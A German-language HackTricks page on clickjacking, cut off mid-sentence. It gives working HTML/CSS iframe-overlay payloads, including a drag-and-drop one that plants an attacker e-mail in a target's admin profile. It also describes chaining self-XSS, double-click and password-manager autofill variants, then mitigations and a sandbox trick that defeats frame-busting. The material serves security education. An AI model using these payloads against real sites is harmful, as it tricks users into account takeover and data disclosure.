Clickjacking

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist Clickjacking

Bei einem Clickjacking-Angriff wird ein Benutzer dazu getäuscht, auf ein Element einer Webseite zu klicken, das entweder unsichtbar ist oder als ein anderes Element getarnt wird. Diese Manipulation kann zu unbeabsichtigten Folgen für den Benutzer führen, wie dem Herunterladen von Malware, der Weiterleitung auf bösartige Webseiten, der Preisgabe von Zugangsdaten oder sensiblen Informationen, Geldüberweisungen oder dem Online-Kauf von Produkten.

Trick: Formulare vorbefüllen

Manchmal ist es möglich, die Werte der Felder eines Formulars per GET-Parameter beim Laden einer Seite zu füllen. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten vorab auszufüllen und das Clickjacking-Payload zu platzieren, sodass der Benutzer den Button Submit drückt.

Formular mit Drag&Drop füllen

Wenn du den Benutzer dazu bringen musst, ein Formular auszufüllen, aber ihn nicht direkt bitten willst, bestimmte Informationen einzugeben (wie die E-Mail oder ein spezifisches Passwort, das du kennst), kannst du ihn einfach bitten, etwas per Drag&Drop zu verschieben, das deine kontrollierten Daten einträgt, wie in diesem Beispiel.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Mehrstufiger Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click-Payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Wenn Sie eine XSS attack that requires a user to click auf ein Element identifiziert haben, um die XSS zu triggern, und die Seite für Clickjacking verwundbar ist, können Sie dies ausnutzen, um den Benutzer dazu zu bringen, auf den Button/Link zu klicken.\
Beispiel:\
Sie haben eine self XSS in einigen privaten Account-Details gefunden (Details, die nur Sie setzen und lesen können). Die Seite mit dem Formular, um diese Details zu setzen, ist vulnerable gegenüber Clickjacking und Sie können das Formular mit GET-Parametern prepopulate.
Ein Angreifer könnte eine Clickjacking-Attacke auf diese Seite vorbereiten, das Formular prepopulating mit dem XSS payload füllen und den User dazu tricksen, das Formular zu Submit. Wenn das Formular abgesendet wird und die Werte geändert sind, führt der User die XSS aus.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

warning

Diese Technik erlaubt es, den Benutzer dazu zu bringen, an einer Stelle auf der Opferseite zu klicken und damit alle Schutzmechanismen gegen Clickjacking zu umgehen. Der Angreifer muss also sensitive Aktionen finden, die mit nur einem Klick ausgeführt werden können, z. B. OAuth-Eingabeaufforderungen zum Akzeptieren von permissions.

Browser-Erweiterungen: DOM-based autofill clickjacking

Abgesehen vom Einbetten (iframes) von Opferseiten können Angreifer UI-Elemente von Browser extensions anvisieren, die in die Seite injiziert werden. Password managers rendern autofill-Dropdowns in der Nähe fokussierter Inputs; durch Fokussieren eines vom Angreifer kontrollierten Feldes und das Verbergen/Überdecken des Dropdowns der Erweiterung (Opacity/Overlay/Top-Layer-Tricks) kann ein erzwungener User-Klick ein gespeichertes Element auswählen und sensitive Daten in angreifer-kontrollierte Inputs füllen. Diese Variante erfordert keine iframe-Exposition und funktioniert vollständig über DOM/CSS-Manipulation.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategien zur Minderung von Clickjacking

Clientseitige Abwehrmaßnahmen

Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreifen, um Clickjacking zu verhindern:

  • Sicherstellen, dass das Anwendungsfenster das Haupt- oder Top-Fenster ist.
  • Alle Frames sichtbar machen.
  • Klicks auf unsichtbare Frames verhindern.
  • Potenzielle Clickjacking-Versuche erkennen und Benutzer warnen.

Diese frame-busting Scripts können jedoch umgangen werden:

  • Browsers' Security Settings: Einige Browser könnten diese Skripte basierend auf ihren Sicherheitseinstellungen oder fehlender JavaScript-Unterstützung blockieren.
  • HTML5 iframe sandbox Attribute: Ein Angreifer kann frame buster Skripte neutralisieren, indem er das sandbox-Attribut mit den Werten allow-forms oder allow-scripts ohne allow-top-navigation setzt. Dadurch kann das iframe nicht überprüfen, ob es das Top-Window ist, z. B.
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die Werte allow-forms und allow-scripts erlauben Aktionen innerhalb des